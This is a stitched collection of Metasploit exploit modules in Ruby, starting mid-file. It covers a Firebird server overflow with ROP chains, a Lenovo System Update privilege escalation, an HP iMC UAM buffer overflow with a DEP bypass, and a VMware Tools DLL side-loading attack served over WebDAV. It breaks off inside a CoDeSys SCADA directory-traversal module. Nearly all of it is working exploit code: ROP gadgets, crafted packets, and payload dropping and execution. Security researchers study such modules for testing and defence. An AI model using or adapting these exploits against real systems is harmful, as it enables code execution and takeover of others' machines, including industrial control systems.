        0x0000153c,		# 0x0000153c-> ebp
        0x005d261f,		# ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
        0x0059fe1f,		# MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
      ].pack("V*")
    when 'Windows FB 2.5.1.26351'
      rop_chain = [
        0x005e1ab8,		# MOV EAX,EDI # RETN [fbserver.exe]
        0x0059650b,		# POP EBP # RETN [fbserver.exe]
        0x0000153c,		# 0x0000153c-> ebp
        0x005cf6ff,		# ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
        0x0059a3db,		# MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
      ].pack("V*")
    when 'Windows FB 2.1.5.18496'
      rop_chain = [
        0x0055b844,		# MOV EAX,EDI # RETN [fbserver.exe]
        0x4a86ee77,		# POP ECX # RETN [icuuc30.dll]
        0x000001c0,		# 0x000001c0-> ecx
        0x005aee63,		# ADD EAX,ECX # RETN [fbserver.exe]
        0x4a82d326,		# XCHG EAX,ESP # RETN [icuuc30.dll]
      ].pack("V*")
    when 'Windows FB 2.1.4.18393'
      rop_chain = [
        0x0042264c,		# MOV EAX,EDI # RETN [fbserver.exe]
        0x4a8026e1,		# POP ECX # RETN [icuuc30.dll]
        0x000001c0,		# 0x000001c0-> ecx
        0x004c5499,		# ADD EAX,ECX # RETN [fbserver.exe]
        0x4a847664,		# XCHG EAX,ESP # RETN [icuuc30.dll]
      ].pack("V*")
    when 'Debug'
      rop_chain = [ ].fill(0x41414141, 0..5).pack("V*")
    end
    return rop_chain
  end

  def final_rop_chain
    # all rop chains in here created with mona.py, thanks corelan!
    case target.name
    when 'Windows FB 2.5.2.26539'
      rop_chain = [
        0x4a831344,	# POP ECX # RETN [icuuc30.dll]
        0x0065f16c,	# ptr to &VirtualAlloc() [IAT fbserver.exe]
        0x005989f0,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
        0x004666a6,	# XCHG EAX,ESI # RETN [fbserver.exe]
        0x00431905,	# POP EBP # RETN [fbserver.exe]
        0x00401932,	# & push esp # ret  [fbserver.exe]
        0x4a844ac0,	# POP EBX # RETN [icuuc30.dll]
        0x00001000,	# 0x00001000-> ebx
        0x4a85bfee,	# POP EDX # RETN [icuuc30.dll]
        0x00001000,	# 0x00001000-> edx
        0x005dae9e,	# POP ECX # RETN [fbserver.exe]
        0x00000040,	# 0x00000040-> ecx
        0x0057a822,	# POP EDI # RETN [fbserver.exe]
        0x005b0384,	# RETN (ROP NOP) [fbserver.exe]
        0x0046f8c3,	# POP EAX # RETN [fbserver.exe]
        0x90909090,	# nop
        0x00586002,	# PUSHAD # RETN [fbserver.exe]
      ].pack("V*")
    when 'Windows FB 2.5.1.26351'
      rop_chain = [
        0x00656472,	# POP ECX # RETN [fbserver.exe]
        0x0065b16c,	# ptr to &VirtualAlloc() [IAT fbserver.exe]
        0x00410940,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
        0x0063be76,	# XCHG EAX,ESI # RETN [fbserver.exe]
        0x0041d1ae,	# POP EBP # RETN [fbserver.exe]
        0x0040917f,	# & call esp [fbserver.exe]
        0x4a8589c0,	# POP EBX # RETN [icuuc30.dll]
        0x00001000,	# 0x00001000-> ebx
        0x4a864cc3,	# POP EDX # RETN [icuuc30.dll]
        0x00001000,	# 0x00001000-> edx
        0x0064ef59,	# POP ECX # RETN [fbserver.exe]
        0x00000040,	# 0x00000040-> ecx
        0x005979fa,	# POP EDI # RETN [fbserver.exe]
        0x00424a50,	# RETN (ROP NOP) [fbserver.exe]
        0x4a86052d,	# POP EAX # RETN [icuuc30.dll]
        0x90909090,	# nop
        0x005835f2,	# PUSHAD # RETN [fbserver.exe]
      ].pack("V*")
    when 'Windows FB 2.1.5.18496'
      rop_chain = [
        0x005763d5,	# POP EAX # RETN [fbserver.exe]
        0x005ce120,	# ptr to &VirtualAlloc() [IAT fbserver.exe]
        0x004865a4,	# MOV EAX,DWORD PTR DS:[EAX] # RETN [fbserver.exe]
        0x004cf4f6,	# XCHG EAX,ESI # RETN [fbserver.exe]
        0x004e695a,	# POP EBP # RETN [fbserver.exe]
        0x004d9e6d,	# & jmp esp [fbserver.exe]
        0x4a828650,	# POP EBX # RETN [icuuc30.dll]
        0x00001000,	# 0x00001000-> ebx
        0x4a85bfee,	# POP EDX # RETN [icuuc30.dll]
        0x00001000,	# 0x00001000-> edx
        0x00590328,	# POP ECX # RETN [fbserver.exe]
        0x00000040,	# 0x00000040-> ecx
        0x4a8573a1,	# POP EDI # RETN [icuuc30.dll]
        0x0042ba8c,	# RETN (ROP NOP) [fbserver.exe]
        0x00577605,	# POP EAX # RETN [fbserver.exe]
        0x90909090,	# nop
        0x004530ce,	# PUSHAD # RETN [fbserver.exe]
      ].pack("V*")
    when 'Windows FB 2.1.4.18393'
      rop_chain = [
        0x4a843429,	# POP ECX # RETN [icuuc30.dll]
        0x005ca120,	# ptr to &VirtualAlloc() [IAT fbserver.exe]
        0x0055a870,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
        0x004cecf6,	# XCHG EAX,ESI # RETN [fbserver.exe]
        0x004279c0,	# POP EBP # RETN [fbserver.exe]
        0x0040747d,	# & call esp [fbserver.exe]
        0x004ebef1,	# POP EBX # RETN [fbserver.exe]
        0x00001000,	# 0x00001000-> ebx
        0x4a864c5e,	# POP EDX # RETN [icuuc30.dll]
        0x00001000,	# 0x00001000-> edx
        0x004eaa3b,	# POP ECX # RETN [fbserver.exe]
        0x00000040,	# 0x00000040-> ecx
        0x4a8330a2,	# POP EDI # RETN [icuuc30.dll]
        0x00423b82,	# RETN (ROP NOP) [fbserver.exe]
        0x0046b5b1,	# POP EAX # RETN [fbserver.exe]
        0x90909090,	# nop
        0x004c8cfc,	# PUSHAD # RETN [fbserver.exe]
      ].pack("V*")
    when 'Debug'
      rop_chain = [ ].fill(0x41414141, 0..17).pack("V*")
    end
    return rop_chain
  end

  def exploit
    connect

    rop_nop_sled = [ ].fill(target['rop_nop'], 0..16).pack("V*")

    # this data gets written to the stack via memcpy, no more than 32 bytes can be written
    overwrite_and_rop_chain =  [ target['rop_pop'] ].pack("V") # POP to skip the 4 bytes of the original pivot
    overwrite_and_rop_chain << [ (target['pivot'] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8]
    overwrite_and_rop_chain << stack_pivot_rop_chain

    filename  =  "C:\\#{rand_text_alpha(13)}.fdb"
    evil_data =  "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
    evil_data << "\x00\x00\x00\x14"
    evil_data << filename
    evil_data << "\x00\x00\x00\x04\x00\x00\x00\x24"
    evil_data << "\x05\x20"
    evil_data << overwrite_and_rop_chain
    evil_data << "\x15\x6c\x6f\x63\x61\x6c"
    evil_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
    evil_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
    evil_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
    evil_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
    evil_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
    evil_data << "\x41\x41\x41\x41\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
    evil_data << "\x00\x00\x00\x08\x00\x41\x41\x41"
    evil_data << rop_nop_sled
    evil_data << final_rop_chain
    evil_data << payload.encoded

    print_status("#{rhost}:#{rport} - Sending Connection Request For #{filename}")
    sock.put(evil_data)

    disconnect
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Exploit::FileDropper
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Services

  Rank = ExcellentRanking

  def initialize(info={})
    super(update_info(info, {
      'Name'            => 'Lenovo System Update Privilege Escalation',
      'Description'     => %q{
        The named pipe, \SUPipeServer, can be accessed by normal users to interact with the
        System update service. The service provides the possibility to execute arbitrary
        commands as SYSTEM if a valid security token is provided. This token can be generated
        by calling the GetSystemInfoData function in the DLL tvsutil.dll. Please, note that the
        System Update is stopped by default but can be started/stopped calling the Executable
        ConfigService.exe.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Michael Milvich', # vulnerability discovery, advisory
          'Sofiane Talmat',  # vulnerability discovery, advisory
          'h0ng10'           # Metasploit module
        ],
      'Arch'            => ARCH_X86,
      'Platform'        => 'win',
      'SessionTypes'    => ['meterpreter'],
      'DefaultOptions'  =>
        {
          'EXITFUNC'    => 'thread',
        },
      'Targets'         =>
        [
          [ 'Windows', { } ]
        ],
      'Payload'         =>
        {
          'Space'       => 2048,
          'DisableNops' => true
        },
      'References'      =>
        [
          ['OSVDB', '121522'],
          ['CVE', '2015-2219'],
          ['URL', 'http://www.ioactive.com/pdfs/Lenovo_System_Update_Multiple_Privilege_Escalations.pdf']
        ],
      'DisclosureDate' => 'Apr 12 2015',
      'DefaultTarget'  => 0
    }))

    register_options([
      OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']),
      OptInt.new('Sleep', [true, 'Time to sleep while service starts (seconds)', 4]),
    ], self.class)

  end

  def check
    os = sysinfo['OS']

    unless os =~ /windows/i
      return Exploit::CheckCode::Safe
    end

    svc = service_info('SUService')
    if svc && svc[:display] =~ /System Update/
      vprint_good("Found service '#{svc[:display]}'")
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end


  def write_named_pipe(pipe, command)
    invalid_handle_value = 0xFFFFFFFF

    r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
    handle = r['return']

    if handle == invalid_handle_value
      fail_with(Failure::NoTarget, "#{pipe} named pipe not found")
    else
      vprint_good("Opended #{pipe}! Proceeding...")
    end

    begin

      # First, write the string length as Int32 value
      w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)

      if w['return'] == false
        print_error('The was an error writing to pipe, check permissions')
        return false
      end

      # Then we send the real command
      w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)

      if w['return'] == false
        print_error('The was an error writing to pipe, check permissions')
        return false
      end
    ensure
      session.railgun.kernel32.CloseHandle(handle)
    end
    true
  end


  def get_security_token(lenovo_directory)
    unless client.railgun.get_dll('tvsutil')
      client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll")
      client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], nil, 'cdecl')
    end

    dll_response = client.railgun.tvsutil.GetSystemInfoData(256)

    dll_response['systeminfo'][0,40]
  end


  def config_service(lenovo_directory, option)
    cmd_exec("#{lenovo_directory}\\ConfigService.exe #{option}")
  end


  def exploit
    if is_system?
      fail_with(Failure::NoTarget, 'Session is already elevated')
    end

    su_directory = service_info('SUService')[:path][1..-16]
    print_status('Starting service via ConfigService.exe')
    config_service(su_directory, 'start')

    print_status('Giving the service some time to start...')
    Rex.sleep(datastore['Sleep'])

    print_status("Getting security token...")
    token = get_security_token(su_directory)
    vprint_good("Security token is: #{token}")

    if datastore['WritableDir'].nil? || datastore['WritableDir'].empty?
      temp_dir = get_env('TEMP')
    else
      temp_dir = datastore['WritableDir']
    end

    print_status("Using #{temp_dir} to drop the payload")

    begin
      cd(temp_dir)
    rescue Rex::Post::Meterpreter::RequestError
      fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
    end

    print_status('Writing malicious exe to remote filesystem')
    write_path = pwd
    exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"

    begin
      write_file(exe_name, generate_payload_exe)
      register_file_for_cleanup("#{write_path}\\#{exe_name}")
    rescue Rex::Post::Meterpreter::RequestError
      fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
    end

    print_status('Sending Execute command to update service')

    begin
      write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
    rescue Rex::Post::Meterpreter::RequestError
      fail_with(Failure::Unknown, 'Failed to write to pipe')
    end

    unless write_res
      fail_with(Failure::Unknown, 'Failed to write to pipe')
    end

    print_status('Stopping service via ConfigService.exe')
    config_service(su_directory, 'stop')
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP Intelligent Management Center UAM Buffer Overflow',
      'Description'    => %q{
        This module exploits a remote buffer overflow in HP Intelligent Management Center
        UAM. The vulnerability exists in the uam.exe component, when using sprint in a
        insecure way for logging purposes. The vulnerability can be triggered by sending a
        malformed packet to the 1811/UDP port. The module has been successfully tested on
        HP iMC 5.0 E0101 and UAM 5.0 E0102 over Windows Server 2003 SP2 (DEP bypass).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability discovery
          'sinn3r', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2012-3274'],
          ['OSVDB', '85060'],
          ['BID', '55271'],
          ['ZDI', '12-171'],
          ['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c03589863']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00\x0d\x0a",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
          'Space' => 3925,
          'DisableNops' => true
        },
      'Platform'       => ['win'],
      'Targets'        =>
        [
          [ 'HP iMC 5.0 E0101 / UAM 5.0 E0102 on Windows 2003 SP2',
            {
              'Offset' => 4035,
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Aug 29 2012',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(1811)], self.class)
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("V")[0].to_i
  end

  def nop
    return make_nops(4).unpack("V")[0].to_i
  end

  def send_echo_reply(operator)
    packet = [0xF7103D21].pack("N") # command id
    packet << rand_text(18)
    packet << [0x102].pack("n") # watchdog command type => echo reply
    packet << "AAAA" # ip (static to make offset until EIP static)
    packet << "AA" # port (static to make offset until EIP static)
    packet << operator # Operator max length => 4066, in order to bypass packet length restriction: 4096 total

    connect_udp
    udp_sock.put(packet)
    disconnect_udp
  end


  def exploit

    # ROP chain generated with mona.py - See corelan.be
    rop_gadgets =
      [
        0x77bb2563, # POP EAX # RETN
        0x77ba1114, # <- *&VirtualProtect()
        0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
        junk,
        0x77bb0c86, # XCHG EAX,ESI # RETN
        0x77bc9801, # POP EBP # RETN
        0x77be2265, # ptr to 'push esp #  ret'
        0x77bb2563, # POP EAX # RETN
        0x03C0990F,
        0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0x500 -> ebx)
        0x77bb48d3, # POP EBX, RET
        0x77bf21e0, # .data
        0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
        0x77bbfc02, # POP ECX # RETN
        0x77bef001, # W pointer (lpOldProtect) (-> ecx)
        0x77bd8c04, # POP EDI # RETN
        0x77bd8c05, # ROP NOP (-> edi)
        0x77bb2563, # POP EAX # RETN
        0x03c0984f,
        0x77bdd441, # SUB EAX, 03c0940f
        0x77bb8285, # XCHG EAX,EDX # RETN
        0x77bb2563, # POP EAX # RETN
        nop,
        0x77be6591, # PUSHAD # ADD AL,0EF # RETN
      ].pack("V*")

    bof = rand_text(14)
    bof << rop_gadgets
    bof << payload.encoded
    bof << "C" * (target['Offset'] - 14 - rop_gadgets.length - payload.encoded.length)
    bof << [0x77bb0c86].pack("V") # EIP => XCHG EAX,ESI # RETN # from msvcrt.dll
    bof << [0x77bcc397].pack("V") # ADD EAX,2C # POP EBP # RETN # from msvcrt.dll
    bof << [junk].pack("V") # EBP
    bof << [0x77bcba5e].pack("V") # XCHG EAX,ESP # RETN # from msvcrt.dll

    print_status("Trying target #{target.name}...")
    send_echo_reply(rand_text(20)) # something like... get up! ?
    send_echo_reply(bof) # exploit
  end
end
            
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DLL Side Loading Vulnerability in VMware Host Guest Client Redirector',
      'Description'    => %q{
      A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,
      a component of VMware Tools. This issue can be exploited by luring a victim into
      opening a document from the attacker's share. An attacker can exploit this issue to
      execute arbitrary code with the privileges of the target user. This can potentially
      result in the attacker taking complete control of the affected system. If the WebDAV
      Mini-Redirector is enabled, it is possible to exploit this issue over the internet.
      },
      'Author'         => 'Yorick Koster',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2016-5330'],
          ['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'],
          ['URL', 'http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Payload'        => { 'Space' => 2048, },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows x64', {'Arch' => ARCH_X64,} ],
          [ 'Windows x86', {'Arch' => ARCH_X86,} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Aug 5 2016',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),
        OptString.new('URIPATH',   [ true, "The URI to use (do not change)", "/" ]),
        OptString.new('BASENAME',  [ true, "The base name for the docx file", "Document1" ]),
        OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ])
      ], self.class)

    # no SSL
    deregister_options('SSL', 'SSLVersion', 'SSLCert')
  end


  def on_request_uri(cli, request)
    case request.method
    when 'OPTIONS'
      process_options(cli, request)
    when 'PROPFIND'
      process_propfind(cli, request)
    when 'GET'
      process_get(cli, request)
    else
      print_status("#{request.method} => 404 (#{request.uri})")
      resp = create_response(404, "Not Found")
      resp.body = ""
      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
    end
  end


  def process_get(cli, request)
    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    webdav = "\\\\#{myhost}\\"

    if (request.uri =~ /vmhgfs\.dll$/i)
      print_status("GET => DLL Payload (#{request.uri})")
      return if ((p = regenerate_payload(cli)) == nil)
      data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded })
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    if (request.uri =~ /\.docx$/i)
      print_status("GET => DOCX (#{request.uri})")
      send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' })
      return
    end

    if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
      print_status("GET => REDIRECT (#{request.uri})")
      resp = create_response(200, "OK")
      resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=file:\\\\#{@exploit_unc}#{datastore['SHARENAME']}\\#{datastore['BASENAME']}.docx"></head><body></body></html>|
      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
      return
    end

    print_status("GET => 404 (#{request.uri})")
    resp = create_response(404, "Not Found")
    resp.body = ""
    cli.send_response(resp)
  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request)
    print_status("OPTIONS #{request.uri}")
    headers = {
      'MS-Author-Via' => 'DAV',
      'DASL'          => '<DAV:sql>',
      'DAV'           => '1, 2',
      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
      'Cache-Control' => 'private'
    }
    resp = create_response(207, "Multi-Status")
    headers.each_pair {|k,v| resp[k] = v }
    resp.body = ""
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request)
    path = request.uri
    print_status("PROPFIND #{path}")
    body = ''

    my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    my_uri    = "http://#{my_host}/"

    if path !~ /\/$/

      if blacklisted_path?(path)
        print_status "PROPFIND => 404 (#{path})"
        resp = create_response(404, "Not Found")
        resp.body = ""
        cli.send_response(resp)
        return
      end

      if path.index(".")
        print_status "PROPFIND => 207 File (#{path})"
        body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml; charset="utf8"'
        cli.send_response(resp)
        return
      else
        print_status "PROPFIND => 301 (#{path})"
        resp = create_response(301, "Moved")
        resp["Location"] = path + "/"
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
        return
      end
    end

    print_status "PROPFIND => 207 Directory (#{path})"
    body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|

    if request["Depth"].to_i > 0
      trail = path.split("/")
      trail.shift
      case trail.length
      when 0
        body << generate_shares(path)
      when 1
        body << generate_files(path)
      end
    else
      print_status "PROPFIND => 207 Top-Level Directory"
    end

    body << "</D:multistatus>"

    body.gsub!(/\t/, '')

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml; charset="utf8"'
    cli.send_response(resp)
  end

  def generate_shares(path)
    share_name = datastore['SHARENAME']
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
  end

  def generate_files(path)
    trail = path.split("/")
    return "" if trail.length < 2

    %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{datastore['BASENAME']}.docx</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
  end

  def gen_timestamp(ttype=nil)
    ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
  end

  def gen_datestamp(ttype=nil)
    ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
  end

  # This method rejects requests that are known to break exploitation
  def blacklisted_path?(uri)
    return true if uri =~ /\.exe/i
    return true if uri =~ /\.(config|manifest)/i
    return true if uri =~ /desktop\.ini/i
    return true if uri =~ /lib.*\.dll/i
    return true if uri =~ /\.tmp$/i
    return true if uri =~ /(pcap|packet)\.dll/i
    false
  end

  def exploit

    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']

    @exploit_unc  = "\\\\#{myhost}\\"

    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
    end

    print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}")

    super
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#   http://metasploit.com
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::WbemExec

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
      'Description'    => %q{
          This module exploits a directory traversal vulnerability that allows arbitrary
        file creation, which can be used to execute a mof file in order to gain remote
        execution within the SCADA system.
      },
      'Author'         =>
        [
          'Enrique Sanchez <esanchez[at]accuvant.com>'
        ],
      'License'        => 'MSF_LICENSE',
      'References'     =>
        [
          ['CVE', '2012-4705'],
          ['OSVDB', '90368'],
          ['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
        ],
      'DisclosureDate' => 'Feb 02 2013',
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
        ],
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(1211),
      ], self.class)
  end

  ##
  # upload_file(remote_filepath, remote_filename, local_filedata)
  #
  # remote_filepath: Remote filepath where the file will be uploaded
  # remote_filename: Remote name of the file to be executed ie. boot.ini
  # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
  def upload_file(remote_filepath, remote_filename, local_filedata = null)
    magic_code = "\xdd\xdd"
    opcode = [6].pack('L')

    # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
    file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
    pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4

    # Magic_code  + packing + size
    pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')

    tmp_pkt = opcode << file
    tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
    pkt << tmp_pkt

    print_status("Starting upload of file #{remote_filename}")
    connect
    sock.put(pkt)
    disconnect

    print_status("File uploaded")
  end

  def exploit
    print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")

